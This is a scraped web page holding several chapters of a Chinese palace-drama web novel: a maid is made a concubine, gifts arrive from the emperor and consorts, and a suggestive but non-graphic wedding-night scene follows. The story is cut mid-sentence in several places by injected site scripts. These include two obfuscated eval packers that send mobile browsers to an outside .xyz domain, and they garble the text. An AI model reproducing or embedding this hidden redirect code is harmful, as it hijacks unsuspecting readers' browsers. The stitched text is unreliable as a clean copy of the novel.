他太会当差了，太知道什么时候该明明白白地立在那儿，什么时候该尽量不显出来，以免打扰天子的闲情逸致，便让她忽略了他。 现下听得皇帝传召，他前行两步，走出了那漆柱的影子，揖道：“陛下。” 楚元煜收回落在卫湘面上的视线，转向容承渊，正色三分：“传旨，封卫湘正八品淑女。”话音未落，他又突然摇头，“罢了，今日天色晚了，只怕也来不及收拾像样的宫室，旨意明早再传下去。” 卫湘听到这话，暗忖天子想多了——容承渊这个狐狸，只怕早就在后宫里挑好了地方，只等着她搬过去呢。 但她还是先谢了恩，盈盈一拜，美眸早已浸满惊喜：“谢陛下恩典！” 额不及触地，她就被他一把扶了起来。 四目相对，她美眸莹亮，他目光温存：“晚上同朕一起用膳。” 她闻言，方知他适才的话原是醉翁之意不在酒。 什么“来不及收拾像样的宫室”？实是她若忙着往后宫搬，总要费一番周章，今日就不得闲了。 而他想留她一起用膳。 她感受到他对她的贪恋，心下的笑一划而过。同时她也笃然地相信，他今日当真只是想留她用膳，别的事情多一步他都不会做。 因为若论本朝的例，宫女进封嫔妃本当是先得幸再受册。但以他的性子、凭他那副因怜香惜玉而生的柔肠，大抵会觉得那样做便犹如民间男女未有婚约便有了夫妻之实，无端玷污了真情，因此必要先行册封。过了明路再行床笫之事，才能一表郑重与珍视。 所以他才会今日冷不防地就给她封了位。 而若她今晚就被留宿在了紫宸殿，方才那番吩咐就成了画蛇添足了。 卫湘抿唇莞尔：“好，那奴婢且先告退，待陛下传了晚膳奴婢再行过来。” 楚元煜先打趣了她一句：“还以奴婢自称，可是嫌朕赐你的位份不够高？”继而一声叹息，竟很耐心地同她解释，“朕也觉得这位份委屈了你，只是宫女晋封宫嫔素来是自九品的少使、长使开始，如此这般已是破例了，朕也不好做得太过。你放心，日后自有的是机会晋你的位。” 他说了这许多，耐心之余还透着一缕急切，似是真怕她不满。一字字拼凑起来，凑成一份在意。 卫湘心下一时复杂，忙颔首道：“奴……臣妾哪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有那个意思，只是想着旨意尚未颁出去，唯恐逾矩。” 楚元煜笑着摇头：“这有什么逾矩？”继而又续上她适才的答复，问她，“何不直接留在殿里？可还有什么紧要事？” 卫湘抬眸，含情脉脉：“再没有比陛下更紧要的事了。只是……臣妾方才入殿时听闻，一会儿还有钦天监的大人要来觐见，臣妾只怕不便见呢。” 后宫嫔妃无故不见外臣。现下她册封的旨意虽然尚未颁出去，但她已亲耳听着了，便大可做足守礼的样子。 这等守礼兼以她方才自称中的谨慎谦恭，愈发显得她温柔。 楚元煜露出恍悟之余，眼中漫开欣赏，点头道：“也对，倒是朕忘了。那你便去歇一歇，等用膳时朕着人去请你。” “诺。”卫湘噙笑福身，“臣妾告退。” 容承渊低垂眼帘，很自然地跟上她，伸手做了个“请”的手势，为她引路。 卫湘略有一怔，虽知他必是有话要说，仍隐觉不妥，但又还是随他去了。因为皇帝才刚开口为她册封，正在兴头上，御前宫人素来循着圣心办差，此时对她殷勤一些，大约也正合了天子的心意。 卫湘便随他一同出了殿门，他又示意她往耳房去。 入得耳房，容承渊阖上门，方回过身。 他目不转睛地凝视着她，眼底含着意味深长地笑：“恭喜娘子。在下为娘子安排了一位掌事女官。” 说着他微抬头，目光从她肩上飘过去，卫湘顺着他的视线也看过去，便见侧旁的屏风后正走出一名宫女，手里端着茶水，竟是琼芳。 卫湘忙道：“芳姐姐。”正欲福身，被容承渊从身后一把提住。 琼芳稳稳地端着茶水，朝她深福：“奴婢见过卫娘子，敬贺娘子晋封之喜。” 她惶惑地看向容承渊，他淡淡地睇着她，她从他眼中寻不到情绪，只觉得冷。 他声线平静地说：“今儿教娘子一课，娘子别因为自己是宫女出身，就想着该与宫人们相处和睦。旁人见了，只会觉得娘子立不住，软弱可欺。” 卫湘深缓一息，点一点头：“这道理我懂。只是我与琼芳也算熟识了，还得过两次提点，所以……” 听她及时改了称呼，容承渊一笑，眼中的冷也缓和了大半。 他从她面前踱过去：“第二课，在这宫里谁和谁的情分都不重要，唯有陛下的心意要紧。” 语毕他正好踱至与房门正对的墙前，那里放着一张茶桌，两侧各有八仙椅，他欠身一引：“娘子请坐。” 卫湘定住神，依言过去坐定，容承渊自顾坐到另一侧的椅子上。 这似是与他方才所言相悖，但卫湘一想便知，想来以他的身份，在如她这般的低位小宫嫔面前都是这样的。 倘使谁有事求着他，他恐怕还能更摆几分谱才是。 琼芳见他们落座才复又上前，抿起笑，将茶盏放到茶桌上：“正是呢。陛下封了娘子什么身份，娘子便有怎样的尊荣。旧日的情分若会折损陛下赐予娘子的尊荣，便可一概不提。况且——” 她看一眼卫湘，口吻放缓，愈发语重心长：“娘子也切莫觉得这样对不起奴婢，这事实是奴婢自己愿意的。娘子只瞧着奴婢在御前早已站稳脚跟，很是风光，可御前的人这么多，奴婢便是混到如今这一步，上头也还有二三十号人压着，想再往上升就难的很了。奴婢因而觉得，与其这样高不成低不就地熬着混着，倒还不及去娘子跟前做个掌事，起码得个自在。倘若娘子日后飞黄腾达，奴婢更是比现下风光百倍了。” 卫湘的心随着他们的循循教导愈发安宁下来，稳稳端起琼芳奉来的茶盏抿了一口，沉静道：“好，我记下了。” 18.古怪 这日傍晚，卫湘一如天子所期待的那样去紫宸殿用了晚膳。 楚元煜仍是一贯的温柔和煦，屏退了宫人，却又不愿佳人辛劳，便亲手为她夹菜盛汤。 这样的呵护有时会让她在恍惚的一瞬里忘了他是九五之尊，只觉得他更像一位锦衣玉食的贵公子，素日舞文弄墨、一身书香，看多了诗词与戏文里的娇柔美人，因而学得最会心疼女孩子。 翌日天明，卫湘的册封旨意先传到了紫宸殿后的下房，然后便送进后宫。循着例，旨意会先至长秋宫教皇后知晓，再知会六宫各处，最后入尚宫局记档。 这期间，卫湘所住的那方院里分外忙碌。因身份有别，旁的宫人都暂且退了出去，只两名容承渊专门差来的宫女帮她收拾东西。 其实她本没有多少东西可收，只是她现下业已受封，不宜再自己做这些事，便哪怕只有一件衣服，也需由宫女来替她料理。 这两名宫女一位便是琼芳，另一位原唤棠知，虽比卫湘还小一岁，却已在紫宸殿侧殿当差三年了，在御前这样人精云集的地方算不得多出类拔萃，却也办事细心妥帖。 依容承渊的意思，棠知也要随卫湘入后宫去。 这事琼芳昨夜便禀与卫湘了，又借此点拨了两句。 琼芳说，宫里头的主子们给宫女赐名乃是恩典，显得亲近；但如琼芳这般年长的女官则是不随意改名，才显身份贵重。至于宦官，本也是同样的规矩，只是后宫嫔妃多是与宫女们更为亲近，对宦官们的名字并不甚在意，如容承渊这样的权宦自要敬称一声官职或“某公公”，小宦官多被称作“小某子”“小某”或“阿某”之类，便也无所谓那个“某”究竟是个什么字。 卫湘听了这话，摸索着学来，翻了半晌的书，挑了一个“积霖”的名字，今日说与了棠知。 棠知果然十分欣喜，当即便下拜谢恩，自此便唤积霖。 除了她二人，倘若不提闵淑女那样破例的事，正八品淑女身边当是还另有两名宫女、两名宦官，但只做些洒扫一类的粗活。容承渊也不好指哪个信得过的专门去做这样不讲究的差事，就由尚仪局与内官监挑了典籍干净的调拨过去。 约莫辰时，卫湘的一应物件收拾妥当，去往后宫。她的住处是容承渊亲自挑的，在没有旁的嫔妃的临照宫里，叫瑶池苑。 积霖说起这住处就笑道：“淑女娘子美如那画儿里的瑶池仙子，住在瑶池苑里最相宜不过！” 卫湘暗想，容承渊只怕也正有这样的意思，便没自谦什么，大方地受了积霖的这句奉承。 入得瑶池苑，另外那四名宫女宦侍都已先一步候在院中，但卫湘并未在院子里与他们多搭话，搭着琼芳的手径直入了正屋。 正屋坐北朝南，分做三间。正当中自是会客的堂屋，东边则是卧房，西边是间书屋。 卫湘步入卧房，绕过遮于门前的屏风，迎来了一室明亮。 这屋的采光极好，一应家具也都是新制的，桌椅床榻的漆面泛着恰到好处的光，床幔一类的绸缎亦是光彩照人。 房中的紧东头搁着拔步床，但南边临窗的位置还有张颇为宽敞的茶榻，榻桌正当中横放一张雕石榴纹的榻桌。 积霖扶卫湘落座到茶榻一侧，琼芳奉来了茶。那四名宫女宦官排作一列进来磕头问安，卫湘受了他们的礼，一一问了名字，两个宫女一唤秋儿、一唤芫儿。两个宦官一称小欢子、一称小永子。 卫湘想着琼芳先前说过的道理，不能让积霖脸上无光，自是没给他们另行赐名，只赏了些碎银，就命他们退下了。 几人告退后过了约莫一刻，小永子重新出现在门外，卫湘犹坐在茶榻上，隔着门前的屏风并未瞧见他的身形，只听他说：“娘子，御前的张公公来了。” “请进来吧。”卫湘话音刚落，张为礼已打帘入内。 他身后跟着两名小宦官，各托着托盘，一个里头尽是珠宝首饰，另一个里头整整齐齐地码着半盘子银元宝，另外半盘子搁着银票。 卫湘仍稳稳坐着，只朝他颔首：“张公公。” “娘子安。”张为礼一揖，满脸的笑，指着那两名手下道，“这是陛下命奴给娘子送来的。” 卫湘忙要起身谢恩，张为礼伸手一阻：“陛下着意说了，只是些寻常关照，娘子切莫谢恩，没的倒显得生分。” 果真怜香惜玉。 卫湘心里一哂，听话地落座回去。 张为礼续上方才的话，先指着那装满珠宝首饰的一盘说：“这些首饰娘子自有也好、赏人也罢，不必拘束；另还有些料子给娘子裁缝新衣，已送去了尚服局，不日就会送来。” 卫湘念着张为礼方才的叮嘱，并不谢皇恩，只是含着笑说：“有劳公公。” “娘子客气。”张为礼踱了两步，走到另一人跟前，“这里头连银锭带银票，拢共一千两银，是因陛下怕娘子手里缺钱，专门从私库里取的，不算赏的，不犯什么规矩，娘子安心用便是。” 卫湘又道：“辛苦公公。”这一回，心里却真对这位怜香惜玉的天子存了感念。 比起那些随意赏下来的首饰与衣裳，这“专门从私库里取的”银钱是当真在设身处地地为她着想。 她出身永巷又父母双亡，全不似旁的嫔妃那样有娘家可以倚仗，就连积蓄也注定不会太多。 倒是难为他是那样至高无上的身份，自降生起就断断没缺过钱，却能心细如发地为她想到这些。 再深究一分，赏元宝、赏银票本都是常见的，但搭在一起送来则显然是有意为之。 因为银票的面额通常大些，元宝则可铰成碎银以便赏人，用途各有不同。 “恭喜娘子，奴告退。”张为礼又是一揖，就笑吟吟地往外退。那两名宦官无声地将托盘放到卫湘手边的榻桌上，也随之往外退。 卫湘迅速扫了眼琼芳，琼芳不必她多言，即刻拿了一锭元宝跟出去塞给张为礼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，谢他跑这一趟。 张为礼在廊下停了脚步，挡了没收，目光睇了眼卧房的方向：“娘子的心意咱家明白。只是，咱们自己人之间就别客气了。把掌印的事办妥了，比什么都强。” 琼芳衔笑：“正因是自己人，更不能亏了自己人。若不然‘自己人’还不如‘外人’厚道，这叫什么道理呢？”说着不由分说地将那锭银子塞进张为礼手里，语中称呼一如同在御前时那般，“只当请你喝盏茶。” 张为礼仍想推拒，但余光扫见月门外又有宫人正要进来，只得忙将那元宝收进了衣袖，朝琼芳笑了笑：“得，多谢。先走了，你忙吧！” “慢走。”琼芳噙笑深福，礼罢再一抬眼，也瞧见张为礼适才注意到的人影。 正往院子里走的几人正因张为礼往外去而退到一旁，赔笑拱手。 张为礼悠长地“嗯”了一声，从他们面前走过去。 为首的那宦官也是二十多岁，圆领袍上的绣纹与张为礼一般无二。是以当他走到琼芳面前时就没了方才面对张为礼时的赔笑姿态，态度倒依旧是客气的，但直起了身子说：“清妃娘娘着咱们来送些东西，贺卫淑女晋封之喜。” “公公请。”琼芳侧身向里一引，笑容一成不变。 几人来到卫湘跟前，便又是一番施礼、恭贺、客套，这回卫湘起身谢了恩，琼芳则和适才一样亲自送了他们出去，顺便塞了一锭银。 卫湘在琼芳出去的当间儿看了看清妃颁来的赏，一应首饰、衣料且先不提，清妃同样送了银子来。不过没有银票，都是银锭，因此方才掌事宦官虽没提及具体数额，也很容易看出数量。 拢共是八百两。 按着宫里行赏时约定俗称的例，八百两较一千两，恰好是减了一等。 卫湘一时就想：倒是很巧，又有些怪。 可往后又过一刻，中宫皇后亦颁了赏过来，依旧是首饰、衣料、银钱，银钱同样只有元宝，恰是九百两。 比天子送来的少了半等，又比清妃的厚了半等。 卫湘施礼谢恩，琼芳再度将颁赏的宫人们送出去，卫湘坐回茶榻上，拿起一锭元宝，心下暗忖：果真是怪事。 宫里行赏，不仅有薄厚之分，通常还有先后之别。譬如今日这般，若硬将陛下送来的银子解为赏赐，旁人再颁赏来，也当是皇后先来、清妃次之，数额上每位较前一位薄上一等。 可现如今，她见着的却是清妃的赏银先至，较陛下只低一等；而后皇后再至，反过来清妃多添半等。 这本就古怪，更别提陛下还明言那些银钱不算赏赐，也就没有什么“赏赐减一等”之说。 前后搁在一起，三碟银子虽是让她手头宽裕起来，却也怪上加怪。 卫湘因而便想到清妃的出身、想到宫人间盛传的种种过往，心绪百转千回。 才想出些许眉目，琼芳打了帘进来，卫湘美目一凝，索性问她：“陛下昨日宿在了何处？” 19.送粥 琼芳脚下一顿，复又前行，边走边问：“娘子怎的问起这个？” 卫湘不答，只又问说：“可是倾云宫么？” 倾云宫便是清妃的住处了。 琼芳见她提起这地方，心下便明白她询问的因由，笑了笑，摇头：“并未，陛下昨晚是在紫宸殿独寝的。” 话未毕，就见卫湘秀眉蹙起，琼芳低了低眼，声音放轻三分：“但今日早朝之后，陛下是与清妃娘娘一道用的早膳。” 卫湘蹙起的眉头顿时舒展：“原始如此！”心里的困惑便解了大半。 至于另一半，纵使尚拿不准，单凭过往听过的传言也能摸得个七八分，于是虽尚未见过清妃，心中就已起了些许芥蒂。 琼芳探知她的忧心，含笑宽慰：“日子还长，娘子不必过虑。待得慢慢将人都认熟了、摸透了脾性，再拿主意也不迟。” “也是。”卫湘缓一口气，收敛心事，又问琼芳，“虽说按规矩是明日前去向皇后娘娘问安便可，但不知是否今天先去谢个恩更为妥当？皇后娘娘到底是赏了东西的，还有清妃娘娘那边。” “不必。”琼芳缓缓摇头，温声教她，“娘子是刚得封的新人，与各处都没什么情分，依着规矩行事便是最好的，谁也挑不出错处。等日后有了交情，娘子多掂量几分、亦或随性几分，倒都使得。” 卫湘沉吟片刻，点了点头：“好，我有数了。” 此后便是半日无事。清妃的赏赐原教卫湘悬起了心，以为刀光剑影即将纷飞而至，这一下午的平静倒让她有些无所适从了。 时间很快到了酉时，便是傍晚五点了。 卫湘在酉时初刻时先传了晚膳。琼芳想着今晚天子必要召幸卫湘，便在她用膳时已备妥热水，待卫湘用完膳就与积霖一道服侍她沐浴更衣。 这一番忙碌颇费了些工夫，当卫湘从用作汤室的厢房折返卧房，已经七点钟了。 因冬日风冷，堂屋门口挂了厚实的棉帘，积霖便在临近房门时快走了几步，为卫湘揭开帘子，揭帘时不经意地往屋里一扫，积霖“呀”了一声，笑道：“张哥哥来了也不说一声。” 卫湘闻言抬眸，果然从揭开的门帘间看到了张为礼。 他原侍立于堂屋一侧，见卫湘回来就迎向门口，作揖道：“娘子安好。”礼罢才笑回积霖的话，“知道你们都忙着，秋儿那几个又不顶用，我等等便是了。” 说话间卫湘已进了堂屋，琼芳上前为她解开斗篷，她笑吟吟地朝张为礼道：“都是在御前一道当过差的，这么客气做什么？下次只管坐着等，让他们给你上些茶和点心。” 张为礼垂眸，又揖：“谢娘子。” 卫湘颔了颔首，眸光流转，扫见侧边两张椅子之间的方几上放着一只食盒，不由目光微凝：“这是什么？”语毕行向正前方的八仙桌，在一侧的主位上落了座。 张为礼先去拎起食盒，搁到卫湘身边的八仙桌上，打开盒盖便有一股鲜香扑鼻。 他小心地将盒子里的几道菜肴端出来，都是用小碗小碟盛着的，样式精致。 他口中轻道：“陛下今日原是要来瑶池苑，不料一刻前户部的大人求见，为的是南边疫病的事。这一聊，陛下便不知何时才能就寝了。” 说着语中一顿，视线从面前几只小碗小碟上一扫而过：“所以陛下差奴来为娘子送几道合口的宵夜，娘子用过便早些睡吧。” 卫湘的目光从他说出那句“陛下便不知何时才能就寝了”起，就定在他面上，薄唇几度启合，显是想说什么。 等他终于说完，她即刻道：“疫病揪人心，可陛下也要顾惜身子才好，天下万民都还仰仗陛下庇佑，他若累坏了……”她抿一抿唇，头低下去，声音亦低下去，化作轻细的嗫嚅，“让人担心。” 这番话前一半说得有多迫不及待，最后的四个字就有多柔软无力，堪堪一副有心想说场面话却遮掩不住少女柔肠百转的模样。 张为礼不由低笑一声，转瞬又恢复肃穆，意有所指道：“娘子的心意，陛下一定明白。奴便回去复命了。” 卫湘将这句话置若罔闻，起身亲自送张为礼，张为礼连声劝她回去安歇，她还是将他送到了堂屋门口。 待张为礼举步离开，她也没有即刻回房，一手轻托着棉帘，任由冷风打在脸上，借助寒风迅速清醒。 积霖见状恐她受凉，欲出言相劝，却被更会察言观色的琼芳一记眼风扫了回去。 半晌，卫湘轻语呢喃：“掌印早说疫病已见好转，该送的药材也都送到了。” 这句话夹在风里，夹杂着丝丝缕缕的瑟瑟风鸣，积霖听不真切。 诚然，疫病无情，局面反复也是有的。 卫湘心底盘算了几番，终于放下棉帘，向琼芳道：“你拿些银钱去一趟尚食局。就说我想做些东西，咱们这儿没有小厨房，借他们一间厨房用。” “诺。”琼芳低眉福身，便入内室取了几块碎银，约是三两。出来时又嘱咐了积霖两句，命她服侍好卫湘，便出了门。 在琼芳回来前，卫湘先安心用了那几道皇帝赐下的宵夜。宵夜共是四道，两甜一咸，甜的是樱桃毕罗与玫瑰香糕，咸的乃是一道燕窝鲜鸭丝，俱是卫湘爱吃的。 尤其那道燕窝鲜鸭丝，面上看着只是将上好的燕窝与撕得细致的鸭肉丝一起炖，实则不知用了多少好东西吊汤，炖出来的鲜香虽一鸭香为主，却断断不止是鲜鸭能有的味道，但偏又看不出别的，更不觉油腻。 这道菜卫湘前几日陪天子用膳时偶然见着，觉得吃得胃口舒服、身上也和暖，就不自觉地多用了一碗，自己都没留意，他竟记住了。 卫湘心中思绪百转，不经意间就将那道燕窝鲜鸭丝用完了，另外三道也都吃了些，吃得身上暖融融的。 因临照宫离尚食局不远，琼芳不多时就回来了。八仙桌上的宵夜已撤下去，但卫湘仍坐在堂屋，见琼芳进来，卫湘一时紧张：“他们肯借么？” 琼芳稍一怔，就笑了：“娘子今日有晋封之喜，这点小事，他们哪有不答应的呢？都安排好了。” 卫湘定住心，点一点头：“好，这就去吧。” 语毕她便起身，留积霖在瑶池苑守着，自己带琼芳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13849868|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了门。尚食局早已派了个得力的宫女在门口等她，见她到了，恭恭敬敬请她入内，去往次进院子里的一间厨房。 厨房内显是专门收拾过，不仅窗明几净，常见的食材也预先备出了数样。如葱、姜、蒜这样的东西都同时备有切片的、切磨的、切块的，鱼有清理干净的，其余肉蛋蔬菜也具有准备，可见管事的亲自费了心。 不过，卫湘倒用不着这么复杂。 她的手艺本就平平，拿手的菜式没有几道，天子又素不缺珍馐佳肴，她若抱着“露一手”的打算下厨，恐怕反倒会露怯。 所以，心意远比菜式要紧。卫湘端详眼前的众多食材思量半晌，目光定在一盘青翠可爱的绿菜上，笑道：“冬日里还有这样鲜嫩的小油菜，倒是罕见，便做一道粥吧。” 琼芳心领神会，即刻上手帮她切菜。 卫湘自去先将米粥煮上，米只用白净的大米，但需很耗工夫地慢慢熬它，需熬到粒粒开花。切碎的小油菜则是到临出锅时才加的，在热粥里滚上一滚便可，此时切忌盖锅盖。等菜滚好再加细盐，盛出后再淋三两滴香油，就是一道白绿相映的菜粥。 这样一道简单的粥，只消吃得起白米的人家便都吃得，可就像卫湘说的，冬日里鲜嫩的油菜不易得。况且它颜色虽瞧着素净，在忙过政务的夜晚却更易让人有胃口，简单干净的味道亦适合冬日暖胃。 这粥熬好后已是亥时末刻，卫湘片刻前刚让琼芳打听过，听闻紫宸殿仍灯火通明，就在粥出锅后嘱咐琼芳尽快送去。 琼芳闻言一怔：“娘子不亲自去？” 卫湘摇头，轻轻扯了个哈欠：“明日还要去向皇后娘娘问安，我该回去睡了。” 琼芳不再劝，依她所言将这油菜白粥送去了紫宸殿。卫湘回去也真直接梳洗就寝去了，刚躺上床，一整日忙碌带来的疲惫就汹涌而至，她本还想琢磨些细枝末节，结果就这样昏昏沉沉地坠入了梦境。 子时二刻，一行人在夜色与寒风中浩浩荡荡地步入临照宫的宫门。 值夜的宫人们忙跪地叩拜，若从远处望，便只可见昏暗之中人影一个个地矮下去。 皇帝坐在御辇上，右手支颐，正自闭目养神，眉宇间难掩疲色。落轿时眉心仍皱着，但当目光扫过面前悬着“瑶池苑”匾额的院门时，唇角还是划过了一抹笑。 卧房的漆黑里，美人侧卧，睡得正香。 卫湘在睡梦中只觉房里嘈杂了一小阵——先是在堂屋，后是在与卧房相对的西屋。 那点响动本不足以将她惊醒，直到身边的被褥一沉，继而忽觉有人在轻手轻脚地挪她，她才猛地打了个激灵，惊醒过来。 不等她问上一个字，黑暗里传来男子动听的低笑，接着便有一记带着安抚的吻落在她的额角上，他柔声笑说：“小湘，睡进去些，给朕留个地方。” 卫湘彻底清醒了，忙往里挪，张了张口，声音染上轻微的战栗：“陛下怎的……这时候来了？” 他将她拥进怀里，深吸了一口她发间的浅香，心情很好地调笑：“明日早膳还想吃那道菜粥，只得过来了。” 20.得幸 卫湘连话音浸满了笑：“那臣妾明日……” 然话没出口，就被迎面袭来的下一记吻堵住了嘴巴。 讨巧的话语化作一声嘤咛，她闭上双眼，方才只浸在话音中的笑溢到唇角，勾起一抹漂亮的弧度。 她安然准备迎接他的一举一动，一颗心既紧张又兴奋。容承渊着人送来的书她已挑灯偷读了数个夜晚，但与亲历到底不同。她因而隐有恐惧，但更多的是期待，迫切地想要知道这种事到底是什么滋味。 这位完全掌控她身体的天子却并不像书上画出的男人那么急，全然不是“翻个页就入了正题”的架势。他饶有兴味地逗她、撩拨她，在她的肌肤上勾起一簇又一簇的战栗、一阵接一阵的酥与痒。 仅凭那些书本，卫湘哪料得到这种阵仗？不觉间在讶异中杏目圆睁，一时辨不清究竟是难受还是享受，呼吸就已乱了。 她清晰地听到自己的呼吸失调，还听到心跳砰砰乱响，这一切响动都令她无地自容，只得紧紧咬住牙关不让自己出声，古怪地想维持住某种矜持。可这摆弄她的人太坏，在她拼尽全力才将呼吸平复了三分的时候，他突然便霸道蛮横地直入正题了。 同时，他还咬住了她的耳垂。 卫湘因而无从判断自己喉咙里滑出的低呼是为哪一处的感受，但这回她分辨出来了，她还是觉得享受多些。顺着这难以启齿的愉悦，她心中的矜持完全溃败，只想好好迎合他，竭尽所能地完成这场快事。 可她总归还是太没经过事了，前些日子虽“读过不少书”，此时脑中却已一片空白，偶有几个书上的画面划过，她也捕捉不住，更做不到什么学以致用。 不过就由着他摆弄她倒也很好。 她感觉得出，他很尽兴。 屋外的廊下、院中，宫人们如雕像般沉默林立，唯容承渊与张为礼在角房里歇着。琼芳为他们端来茶点，容承渊端起清茶来饮，张为礼拣了块点心，一边吃一边在旁边无所事事地转悠，俄而问琼芳：“几点了？” 琼芳摸出怀表瞧了眼：“零点过半了。” “嚯，那这有半个时辰了。”张为礼望了眼正屋的方向，容承渊与琼芳自知他指的是什么。 张为礼摇头晃脑：“议事议到半夜、明日还有早朝，陛下倒不怕累。” 容承渊还在品那盏清茶，眼皮都没抬一下：“陛下正值英年，又是兴之所至，有什么累。” 然而说这话时，容承渊显然是没料到，房内的动静在这一夜里又出了两回，回回都有半个多时辰。到了第三回，容承渊终是面无表情地起身走出角房，将院子里的年轻宫女都摒了出去，只留宦侍候命。 卧房里，卫湘经这一夜，算是彻底明白了个中滋味。 她都有点后悔第二回故意惹他了。 她只是翻身时状似无意地探着了他那活计，可没料到他会来一遭猛的，比头一回还猛。而后又因这遭猛地更加意犹未尽，便有了第三回。 算是她自作孽了。 前后三番的折腾令她这一夜几乎未睡，又因体力损耗极大，第三回结束时她已疲惫得浑身酸疼，连眼皮都像坠了铅石，睁也睁不开。 但她心里挂着的事并未因乏力而松懈，只闭着眼睛缓了几息，她终还是迫使自己睁了眼，探手摸到枕下，将怀表摸了出来。 这仍是御前当差时的那枚表，按规矩该收回去，但容承渊做了个顺水人情，让她带了来。她打开表盖看了看，见已三点多，就强撑着要起身，楚元煜尽兴了一夜，此时也没睡着，只在闭目养神，察觉动静稍抬了下眼帘，见卫湘正起来，边伸臂揽她边问：“做什么去？” 卫湘轻声：“陛下不是说早膳想吃那菜粥？臣妾这会儿去尚食局，大概还来得及做好。” 楚元煜闭着眼笑了声，胳膊添了三分力气，卫湘一下子就被按回床上，接着便见他忽地凑近过来。 她想着先头那三番折腾，不由往后躲，但他只是将她拢进怀里，声音懒洋洋的：“朕晚上来吃，你且先睡。” 卫湘眨了眨眼，声音柔柔的：“陛下是来用晚膳，还是来吃宵夜呀？” 美人软绵绵的语调在心头一触，楚元煜只觉浑身都酥了一阵，情不自禁地又笑起来：“晚膳就来。” “好！”她的语气听起来更开心了些，端然是高兴能早些再见到他。 楚元煜睁开眼，定睛看她。在幔帐笼罩昏暗里，她出尘脱俗的娇颜看不大真切，但她刚好因为听到他的答案而安心地合眼，眉目间还挂着笑，让楚元煜觉得这片昏暗都明媚了些。 他鬼使神差地欣赏了她半晌，又吻了她的眉心，搂着她安然入睡。 这一觉其实也就睡了不足半个时辰，楚元煜便不得不前去上朝了。在这半个时辰间，卫湘其实一点都没睡着，原想与他一同起身，以便服侍他更衣，可他起床时轻手轻脚，显是不愿搅扰她的安睡。 卫湘心念一转，便打消了起床侍奉的念头，继续假寐。 她静听着房中的一举一动，依稀分辨出他盥洗、用膳、更衣的经过，直至数人的脚步声、衣袍摩挲声齐响一阵，继而渐行渐远，她知他已起驾，便撑坐起身。 “娘子醒了？”积霖刚好挑帘进来，不由一怔，又见她满面倦色，上前温声，“陛下着意吩咐了，说让娘子多睡一睡，还命掌印去长秋宫回了话，说让娘子迟些再去问安。” 卫湘黛眉轻轻一挑：“掌印可去了？” 积霖当即明了她在想什么，低眼轻声：“既是圣意，掌印必是要去的。” 卫湘一瞬的呼吸凝滞，但很快便放松了。“陛下怜香惜玉”之事在宫人间早有传闻，可见并非今日才如此，皇后断无不知情的道理，想来不大会计较对她的这句关怀。 再者，纵然容承渊奉旨去传了话，她也是仍要按规矩向皇后磕头的。 皇帝的吩咐是她的好心，她的恭敬是她的本分。 卫湘于是即刻起身梳妆，挑了件水蓝提花缠枝莲纹袄配宝蓝织金马面裙，瞧着素净也不失大气。妆容也简单，除却多了两支白亮的雪花银钗并一对耳坠之外，看起来与做宫女时也没什么分别。 梳妆妥当，她顾不上用膳便出了门，也不乘步辇，在不见寸光的冬日初晨步行而往。 . 长秋宫中，皇后才用了早膳，正自坐在妆台前梳妆。八名大宫女一齐忙着，却个个低眉敛目，不发出分毫声响。 唯掌事女官仪景一壁为皇后梳着发髻，一壁在禀着话。仪景乃是皇后的陪嫁，与皇后一般年纪，今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13861056|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过二十三，行事却已比许多更为年长的女官都要沉稳。此时她慢条斯理地言及晨间种种，声音轻缓平静，不带分毫情绪。 这是应当的。如她这般的女官许多时候要会察言观色、要会开解主子，但言及一个新嫔妃的事，轮不上她带什么情绪。因而褒也不是、贬也不是，平静就是最恰当的了。 皇后因而先知晓了皇帝的意思，接着便也听说，卫淑女已出了临照宫门，正往长秋宫来。 仪景禀报之后便止了音，静候吩咐。 皇后对她所禀的一切都未予置评，对镜一丝不苟地戴好海珠耳坠，这才忽而想起什么：“今日是廿五不是？” 仪景忙道：“是了，今日是冬月廿五。” 皇后眼底渗出一抹凛意，脸色也冷了三分。 本朝的后宫规矩不似先朝严苛。所谓的晨醒昏定，昏定是全然免了的，晨省也不过逢五、逢十的日子才需阖宫前来问安，除此之外便只有每月初一时各宫的主位要来长秋宫议事，再者就是像卫氏这样新得封的小嫔妃，需在受封的次日前来磕头、敬茶。 也就是说，倘若今日不是初一和逢五、逢十的日子，卫氏前来问安就只需见皇后一人。现下却不巧，正碰上廿五，阖宫都在。 诚然，这些人卫氏迟早也是要见的，今日先见全了似乎也没什么。只是，皇后想到昨日上午那一遭，心里便生出烦闷。 她蹙眉斟酌片刻，喟了一声：“罢了，瞧这卫氏是个守礼的，那一位也未必为难她。” 仪景低眉敛目：“是，扬手还不打笑脸人呢。” 皇后从镜中睇她一眼，又说：“一会儿你留卫氏说句话，少教她们碰上也好。” 仪景福身：“娘娘慈悲。” 不一刻的工夫，外头的小宦童打帘进来，禀说：“娘娘，各宫都到了。” 